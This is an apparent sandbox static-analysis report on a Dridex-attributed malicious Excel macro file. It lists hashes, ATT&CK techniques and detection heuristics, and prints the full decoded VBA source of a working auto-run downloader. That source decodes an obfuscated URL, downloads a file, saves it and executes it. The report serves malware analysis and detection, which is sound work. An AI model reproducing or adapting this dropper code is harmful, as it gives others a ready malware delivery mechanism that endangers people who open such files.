Dridex — Office (OOXML) malware analysis

Static analysis result for SHA-256 0808f6af7c6fdff5…

MALICIOUS

Office (OOXML)

410.7 KB Created: 2020-05-18 19:06:34 UTC Authoring application: Microsoft Excel 16.0300 First seen: 2020-09-07
MD5: b92fb09ca344829c57ad71771c93e4b9 SHA-1: 311d14ddf5388b99354b6b652740cf59c2da732e SHA-256: 0808f6af7c6fdff507554e8fb4c29556df4856f3e6c4e5c71704a0768d8bd556
416 Risk Score

Malware Insights

Dridex · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1105 Ingress Tool Transfer T1059 Command and Scripting Interpreter T1204.002 Malicious File

The Workbook_Open macro executes obfuscated VBA code that uses WScript.Shell and CreateObject to download a file from a hardcoded URL and save it to disk. The downloaded file is then executed, indicating a downloader functionality. The ClamAV detection name further supports the Dridex family attribution.

Heuristics 10

  • ClamAV: Xls.Downloader.DridexGreen09213-9890103-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Downloader.DridexGreen09213-9890103-0
  • VBA project inside OOXML medium 8 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
    CreateObject("WScript.Shell").Run Filename
  • VBA character-shift decoded Shell command critical OLE_VBA_ASC_CHR_SHIFT_SHELL
    VBA auto-exec macro stores an encoded command string, decodes it with a Mid/Asc/Chr character-shift loop, and passes the recovered text to Shell. This is a high-confidence command stager.
    Matched line in script
            For i = 1 To Len(strInput)
  • VBA downloads and writes a file to disk critical OLE_VBA_HTTP_DROP_EXEC
    VBA reads an HTTP response body and writes it to disk (ADODB.Stream SaveToFile). Combined with the auto-exec/Shell paths this is a download-drop dropper even when the COM ProgIDs are built dynamically to evade keyword scanning.
    Matched line in script
    LtKuiBZdSVzogRyZYSJUQVZHDzMuMyHxlCuRWVMNvCJTzsQIZIOmbrP.write nTuooTCiOsNRYXpGTsZUGbZkuaRxZRWNcNGLhQuPULGUdLwEYinklML.responseBody
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
    Matched line in script
    Set nTuooTCiOsNRYXpGTsZUGbZkuaRxZRWNcNGLhQuPULGUdLwEYinklML = CreateObject(QEVBDSDAGbYJGiVfBlOsxoFggXesGDkOrjWdpBaFoBpNPmcgRMfAVCM("w“�œ™�™�žX‚wvr~~z"))
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Set nTuooTCiOsNRYXpGTsZUGbZkuaRxZRWNcNGLhQuPULGUdLwEYinklML = CreateObject(QEVBDSDAGbYJGiVfBlOsxoFggXesGDkOrjWdpBaFoBpNPmcgRMfAVCM("w“�œ™�™�žX‚wvr~~z"))
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    Public Sub Workbook_Open()
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
    Filename = Environ(QEVBDSDAGbYJGiVfBlOsxoFggXesGDkOrjWdpBaFoBpNPmcgRMfAVCM("~�—š")) + "\" + QEVBDSDAGbYJGiVfBlOsxoFggXesGDkOrjWdpBaFoBpNPmcgRMfAVCM("˜žžX�¢�")

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 2331 bytes
SHA-256: 9540c6bf806996d3dbc9ce693b81961e56f74df477ba85c84c7907098894653a
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Dim nTuooTCiOsNRYXpGTsZUGbZkuaRxZRWNcNGLhQuPULGUdLwEYinklML
Dim LtKuiBZdSVzogRyZYSJUQVZHDzMuMyHxlCuRWVMNvCJTzsQIZIOmbrP
Public Sub Workbook_Open()
Set nTuooTCiOsNRYXpGTsZUGbZkuaRxZRWNcNGLhQuPULGUdLwEYinklML = CreateObject(QEVBDSDAGbYJGiVfBlOsxoFggXesGDkOrjWdpBaFoBpNPmcgRMfAVCM("w“�œ™�™�žX‚wvr~~z"))
Set LtKuiBZdSVzogRyZYSJUQVZHDzMuMyHxlCuRWVMNvCJTzsQIZIOmbrP = CreateObject(QEVBDSDAGbYJGiVfBlOsxoFggXesGDkOrjWdpBaFoBpNPmcgRMfAVCM("knynlX}žœ�‹—"))
URL = QEVBDSDAGbYJGiVfBlOsxoFggXesGDkOrjWdpBaFoBpNPmcgRMfAVCM("’žžšdYYacX[\^XbX[\ZY�¢¡ Y˜ ŽX�¢�")
Filename = Environ(QEVBDSDAGbYJGiVfBlOsxoFggXesGDkOrjWdpBaFoBpNPmcgRMfAVCM("~�—š")) + "\" + QEVBDSDAGbYJGiVfBlOsxoFggXesGDkOrjWdpBaFoBpNPmcgRMfAVCM("˜žžX�¢�")
nTuooTCiOsNRYXpGTsZUGbZkuaRxZRWNcNGLhQuPULGUdLwEYinklML.Open QEVBDSDAGbYJGiVfBlOsxoFggXesGDkOrjWdpBaFoBpNPmcgRMfAVCM("qo~"), URL, False
nTuooTCiOsNRYXpGTsZUGbZkuaRxZRWNcNGLhQuPULGUdLwEYinklML.send
LtKuiBZdSVzogRyZYSJUQVZHDzMuMyHxlCuRWVMNvCJTzsQIZIOmbrP.Type = 1
LtKuiBZdSVzogRyZYSJUQVZHDzMuMyHxlCuRWVMNvCJTzsQIZIOmbrP.Open
LtKuiBZdSVzogRyZYSJUQVZHDzMuMyHxlCuRWVMNvCJTzsQIZIOmbrP.write nTuooTCiOsNRYXpGTsZUGbZkuaRxZRWNcNGLhQuPULGUdLwEYinklML.responseBody
LtKuiBZdSVzogRyZYSJUQVZHDzMuMyHxlCuRWVMNvCJTzsQIZIOmbrP.savetofile Filename, 2
CreateObject("WScript.Shell").Run Filename
End Sub
Public Function QEVBDSDAGbYJGiVfBlOsxoFggXesGDkOrjWdpBaFoBpNPmcgRMfAVCM(strInput As String)
        Dim n As Integer, i As Integer
        n = 42
        For i = 1 To Len(strInput)
            Mid(strInput, i, 1) = Chr(Asc(Mid(strInput, i, 1)) - n)
        Next i
        QEVBDSDAGbYJGiVfBlOsxoFggXesGDkOrjWdpBaFoBpNPmcgRMfAVCM = strInput
    End Function


Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
vbaProject_00.bin vba-project OOXML VBA project: xl/vbaProject.bin 16384 bytes
SHA-256: d8c0ca385ca18d4047522196c4ce56a75f9410cec0cd7da0077acd099fa8fb96

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